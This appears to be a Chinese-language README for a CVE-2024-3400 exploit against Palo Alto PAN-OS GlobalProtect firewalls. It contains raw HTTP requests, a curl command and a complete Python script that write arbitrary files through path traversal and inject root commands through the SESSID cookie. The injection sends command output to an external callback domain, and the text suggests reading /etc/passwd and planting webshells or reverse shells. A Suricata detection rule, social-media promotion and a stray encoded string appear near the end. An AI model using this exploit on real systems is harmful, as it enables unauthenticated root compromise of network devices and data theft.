CVE-2024-3400Palo Alto 防火墙命令注入漏洞利用本项目提供了针对CVE-2024-3400漏洞的验证概念Proof of Concept。该漏洞存在于 Palo Alto Networks 的 PAN-OS 软件中利用了 GlobalProtect 功能中的路径遍历与命令注入问题允许未经认证的攻击者以root权限在目标防火墙上执行任意操作系统命令。功能特性任意文件写入通过路径遍历在服务器上创建可控文件。命令注入利用操作系统命令注入以 root 权限执行系统指令。无预认证要求漏洞位于 SSL VPN 的公共端点无需登录即可触发。外带数据获取支持使用curl等工具将命令执行结果发送至外部监听器。安装指南该利用工具无需安装任何依赖仅需能够发送 HTTP/HTTPS 请求的客户端如curl、Burp Suite、Python requests。系统要求任意操作系统Windows、Linux、macOS能够连接到目标 Palo Alto 防火墙通常暴露 443 端口基础工具# 使用 curl 发送请求Linux/macOScurl-k-XPOSThttps://目标IP/ssl-vpn/hipreport.esp\-HCookie: SESSID/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;\-HConnection: close\-HContent-Type: application/x-www-form-urlencoded\-d使用说明基础利用创建测试文件发送以下 HTTP 请求会在服务器上创建/var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt文件需要 root 权限。POST /ssl-vpn/hipreport.esp HTTP/1.1 Host: 127.0.0.1 Cookie: SESSID/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt; Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0注意成功写入后尝试访问该文件通常会返回403 Forbidden而非404 Not Found用于验证漏洞是否存在。命令注入执行任意系统命令通过Cookie中的命令注入点执行whoami并将结果外带至 Burp Collaborator 或其他监听器。POST /ssl-vpn/hipreport.esp HTTP/1.1 Host: 127.0.0.1 Cookie: SESSID./../../../opt/panlogs/tmp/device_telemetry/minute/h4curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test$(whoami); Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0${IFS}用于替代空格绕过基础过滤。$(whoami)会被服务器执行结果作为参数发送至外部域名。典型使用场景漏洞验证使用文件写入方式确认目标是否存在 CVE-2024-3400。信息收集通过命令注入执行id、cat /etc/passwd等命令并外带结果。权限维持写入 webshell 或反弹 shell 脚本需结合其他技术。API 概览组件值漏洞端点/ssl-vpn/hipreport.esp注入参数Cookie: SESSID影响版本PAN-OS 10.2、11.0特定构建权限级别root核心代码漏洞触发点分析以下为漏洞核心逻辑的伪代码还原展示路径遍历与命令注入的触发方式# 伪代码 - 模拟 GlobalProtect 处理逻辑defhandle_hipreport(request):session_idrequest.cookies.get(SESSID)ifsession_id:# 漏洞1路径遍历file_path/var/appweb/sslvpndocs/session_id# 未对 ../ 进行过滤导致任意路径写入withopen(file_path,w)asf:f.write(request.body)# 漏洞2命令注入# 当路径包含反引号 或 $() 时会被传入 system() 调用log_path/opt/panlogs/tmp/device_telemetry/minute/session_id os.system(chown pan:pan log_path)# 注入点完整利用脚本示例 (Python)importrequestsimportsysdefexploit_file_write(target_ip,filename,content): 利用文件写入漏洞创建任意文件 urlfhttps://{target_ip}/ssl-vpn/hipreport.espcookiefSESSID/../../../var/appweb/sslvpndocs/global-protect/portal/images/{filename};headers{Connection:close,Content-Type:application/x-www-form-urlencoded}try:responserequests.post(url,headersheaders,cookies{SESSID:cookie},datacontent,verifyFalse,timeout10)print(f[] 文件写入尝试完成状态码:{response.status_code})print(f[] 尝试访问: https://{target_ip}/global-protect/portal/images/{filename})exceptExceptionase:print(f[-] 错误:{e})defexploit_command_injection(target_ip,command,callback_domain): 利用命令注入执行系统命令并通过 DNS/HTTP 外带结果 urlfhttps://{target_ip}/ssl-vpn/hipreport.esp# 构造注入 payloadinjected_cmdfcurl${{IFS}}{callback_domain}?result$({command})cookiefSESSID./../../../opt/panlogs/tmp/device_telemetry/minute/h4{injected_cmd};headers{Connection:close,Content-Type:application/x-www-form-urlencoded}try:responserequests.post(url,headersheaders,cookies{SESSID:cookie},data,verifyFalse,timeout10)print(f[] 命令注入已发送请检查{callback_domain}上的回显)exceptExceptionase:print(f[-] 错误:{e})if__name____main__:iflen(sys.argv)3:print(用法: python exploit.py 目标IP 操作 [参数])print(操作: write 文件名 或 inject 命令 回调域名)sys.exit(1)targetsys.argv[1]actionsys.argv[2]ifactionwrite:filenamesys.argv[3]iflen(sys.argv)3elsetest.txtexploit_file_write(target,filename)elifactioninject:iflen(sys.argv)5:print(用法: python exploit.py IP inject 命令 回调域名)sys.exit(1)cmdsys.argv[3]callbacksys.argv[4]exploit_command_injection(target,cmd,callback)检测规则Suricata/Snortalert http $EXTERNAL_NET any - $HOME_NET any (msg:CVE-2024-3400 Palo Alto Command Injection; http.uri; content:/ssl-vpn/hipreport.esp; nocase; http.cookie; content:SESSID; nocase; pcre:/SESSID\s*\s*.*?[\$\(]/i; sid:1000001; rev:1;)参考链接AttackerKB - Rapid7分析watchTowr Labs 深度分析6HFtX5dABrKlqXeO5PUv/x3focJrJDSTTzTl65BcA69BBxfibrTS9S8/ykDGqDd更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享